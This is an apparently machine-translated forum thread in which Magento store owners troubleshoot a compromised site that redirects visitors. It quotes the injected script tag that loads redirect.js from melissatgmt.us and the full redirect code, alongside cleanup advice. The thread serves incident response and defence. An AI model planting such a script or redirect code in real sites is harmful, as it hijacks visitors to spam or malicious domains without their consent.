Maybe it's infected by some virus.
Moja witryna zaczyna przekierowywać na te zainfekowane adresy URL.
http://mon.setsu.xyz
i trochę czasu https://tiphainemollard.us/index/?1371499155545
Zainfekowane linki
co zrobiłem, aby rozwiązać.
- Skomentowano plik .htaccess (nic się nie stało)
- Skomentowane obejmują folder (nic się nie dzieje)
- Przeskanowano cały serwer (nic się nie dzieje, nie znaleziono złośliwego oprogramowania)
- Zmieniono ścieżkę CSS, media i js z bazy danych, aby mieć pewność, że działa jej PHP lub js (nic się nie dzieje)
select * from core_config_data where path like '%secure%';
wszystkie linki są w porządku AKTUALIZACJA
Poszukałem go i napisałem wiele artykułów na ten temat, ale sugerują, że był to problem z przeglądarką lub mój system jest zainfekowany. Artykuł na ten temat, nawet jeśli otworzę witrynę na telefonie lub laptopie, problemy są takie same.
AKTUALIZACJA 2
Znalazłem wiersz w bazie danych, którego dotyczy problem. (jak również mówi Boris K.)
W core_config_data
tabeli design/head/includes
wartość ma
<script src="<a href="https://melissatgmt.us/redirect_base/redirect.js">https://melissatgmt.us/redirect_base/redirect.js</a>" id="1371499155545"></script>
Który zostanie wstawiony w sekcji nagłówka przy ładowaniu strony.
Jeśli odwiedzisz powyższy adres URL, otrzymasz skrypt przekierowania, który jest
var redirChrome;
var isToChrome = document.currentScript.getAttribute('data-type');
if((isToChrome == 1 && navigator.userAgent.indexOf("Chrome") != -1) || !isToChrome){
var idToRedirect = document.currentScript.getAttribute('id');
window.location.replace('https://tiphainemollard.us/index/?'+idToRedirect);
}
Witryna klienta działa od popołudnia po usunięciu tego skryptu. But the main problem is how that script inserted into the database.
Jedna łatka jest również nieaktualna, więc zaktualizowałem ją również.
AKTUALIZACJA 3 Witryna jest ponownie zainfekowana. To jest skrypt wstawiony w sekcji Administrator ( Administrator-> Konfiguracja-> Ogólne-> Projekt-> Głowica HTML-> Różne skrypty )
Nie wiem co teraz robić. Ponieważ zmieniłem każde hasło, usunąłem wszystkich starych użytkowników.
AKTUALIZACJA 3
Do tej pory błąd nie nadchodzi, więc oznacza to, że wykonując powyższe kroki, możemy rozwiązać ten problem.
AKTUALIZACJA :: 4 Zawsze instaluj łatki, ponieważ pomaga mi to w projektach, aby sklep był mniej podatny na tego typu problemy, a łatki są również ważne. Można użyć https://magescan.com/, aby sprawdzić problemy na ich stronie internetowej.
Odpowiedzi:
Znalazłem wstrzyknięty kod w
core_config_data
tabeli poddesign/head/includes
. Usunąłem go, a teraz strona wróciła do normy.AKTUALIZACJA: Jak wszyscy wspomnieli, powtórzyło się to dziś rano. Tym razem pozbyłem się go łatwiej z panelu administracyjnego pod
System > Configuration > General > Design > HTML Head > Miscellaneous Scripts
. To ogromna luka, mam nadzieję, że Magento pracuje nad łatką.AKTUALIZACJA 2: Skrypt powrócił, więc zmieniłem hasło db, wyczyściłem pamięć podręczną. Około godziny później skrypt powrócił. Więc nie sądzę, że jest dodawany przez db. Właśnie zmieniłem hasło administratora, zobaczmy, czy wróci.
AKTUALIZACJA 3: Ponieważ wczoraj zmieniłem hasło administratora w obu moich dotkniętych witrynach, około 24 godziny później oba są nadal czyste.
źródło
Ten sam problem na innej stronie Magento. Odkryłem, że skrypt jest wstrzykiwany w sekcji HEAD strony, żądając redirect_base / redirect.js z melissatgmt.us (następnie zmieniony na inną domenę), ale nie mogę zrozumieć, w jaki sposób wstrzykiwany jest ten gówno.
AKTUALIZACJA : Jak wspomnieli inni, odnalazł wpis w tabeli core_config_data i usunął go, ale rekord wrócił przy ponownym ładowaniu strony. Zmieniłem hasło db i teraz wydaje się, że zostało pokonane. Nie jestem pewien, czy zmiana hasła jest najlepszym rozwiązaniem, ale i tak jest poprawą bezpieczeństwa.
AKTUALIZACJA 2 : Jak stwierdził Jix Sas, dostęp z konfiguracji w administracji magento jest łatwiejszym rozwiązaniem niż bezpośredni dostęp do tabeli bazy danych. Ale to gówno powraca co 10/15 minut.
AKTUALIZACJA 3 : Zmieniono hasło administratora, sprawdziłem i zapisałem niektóre strony cms (obsługa klienta i o nas), które wyglądały na zainfekowane, wyłączono pamięć podręczną, wyczyściłem pamięć podręczną kilka razy (po każdym sprawdzeniu i zapisaniu „zainfekowanej” strony cms) nie więcej skryptów wprowadzonych w ciągu ostatnich 8 godzin.
źródło
Zmieniłem ścieżkę do panelu administracyjnego
app/etc/local.xml
i to pomaga. Skrypt nie jest już dodawany dodesign/head/includes
.Objaśnienie:
W
app/etc/local.xml
zmieniłem<admin> <routers> <adminhtml> <args> <frontName><![CDATA[new_admin_path]]></frontName> </args> </adminhtml> </routers> </admin>
Wcześniej byłositedomain.com/admin
, a teraz będzie ścieżka do panelu administracyjnegositedomain.com/new_admin_path
źródło
which path u chagned
<admin> <routers> <adminhtml> <args> <frontName><![CDATA[new_admin_path]]></frontName> </args> </adminhtml> </routers> </admin>
Wcześniej był to sitedomain.com/admin, a teraz ścieżka do panelu administracyjnego będzie sitedomain.com/new_admin_pathTo wielka ulga, od rana przywracałem moją witrynę 10 razy.
Bug ciągle wraca.
Jakie jest najlepsze rozwiązanie?
Zmienić hasło DB? Zmienić hasło roota? Jakaś łatka została wydana?
Nie jestem pewien, czy jest to związane, mam poniżej e-maila z działu doradztwa bezpieczeństwa
Myślę, że rozwiązaniem jest zmiana hasła DB
źródło
Musimy zrozumieć, co jest GŁÓWNĄ przyczyną takich zastrzyków spamu
Jeśli Twoja witryna została wstrzyknięta, sprawdź ją we WSZYSTKICH TRZACH skanach złośliwego oprogramowania
https://magescan.com
https://www.magereport.com
https://sitecheck.sucuri.net/
Mam wrażenie, że wynika to z brakującej poprawki bezpieczeństwa! Jeśli zauważysz brakującą poprawkę, ZGŁOŚ ją W TYM TEMATIE .
Zmień hasło dostępu do hostingu Zmień hasło bazy danych Zmień hasło logowania administratora UKRYJ ADMINISTRATOR I POBIERZ adresy URL i ukryj / RSS / przed widokiem publicznym.
Wykonaj pełne skanowanie witryny w poszukiwaniu wirusów, dostawca usług hostingowych może przeskanować witrynę, jeśli nie możesz tego zrobić samodzielnie.
Przejdź do Sysytem -> Użytkownicy i sprawdź, czy na koncie jest zarejestrowany użytkownik NIEAUTORYZOWANY.
źródło
Naprawiłem problem. Nawet po tym jak usunięty plik z fhis
<script src="https://melissatgmt.us/redirect_base/redirect.js" id="1371499155545"></script>
zcore_config_data
tabelidesign/head/includes
wartości. Nie rozwiązało problemu. kod skryptu był wstawiany wielokrotnie. Aby rozwiązać problem, wykonaj następujące trzy kroki.core_config_data
tabeli wdesign/head/includes
.app/etc/local.xml
dane uwierzytelniające.rm -rf var/cache/*
ps Spędziłem cały dzień. Mam nadzieję, że to zadziała dla ciebie. I pamiętaj, aby cały czas wykonać kopię zapasową pliku.
źródło
dokładnie to samo przytrafiło mi się dzisiaj! przekierowanie do tej samej strony. jednak skrypt znalazłem w panelu administracyjnym Magento w sekcji Konfiguracja> Projektowanie> Html Head> Różne skrypty. był ten skrypt:
<script src="https://melissatgmt.us/redirect_base/redirect.js" id="1371499155545"></script>
usunąłem go stamtąd i strona działa dobrze. nie mam folderu, w którym powiedziałeś, że znalazłeś skrypt. Masz pomysł, gdzie mógłby być? (jak znasz ścieżkę do nagłówka HTML> różne skrypty)Co robiłeś ostatnio? może uda nam się ustalić przyczynę? dla mnie zainstalowałem bezpłatne okienko biuletynu, które może być przyczyną. a ty?
AKTUALIZACJA: teraz skrypt wrócił. Ktoś mi powie, jak mogę uzyskać dostęp do tego skryptu z bazy danych, aby go usunąć?
AKTUALIZACJA 2: jak stwierdził Mark, usunięcie skryptu ORAZ zmiana hasła do bazy danych powstrzymały ten skrypt przed powrotem. Jeśli ktoś zna nazwę tej luki lub istnieje zagrożenie dla płatności klientów, daj nam znać.
źródło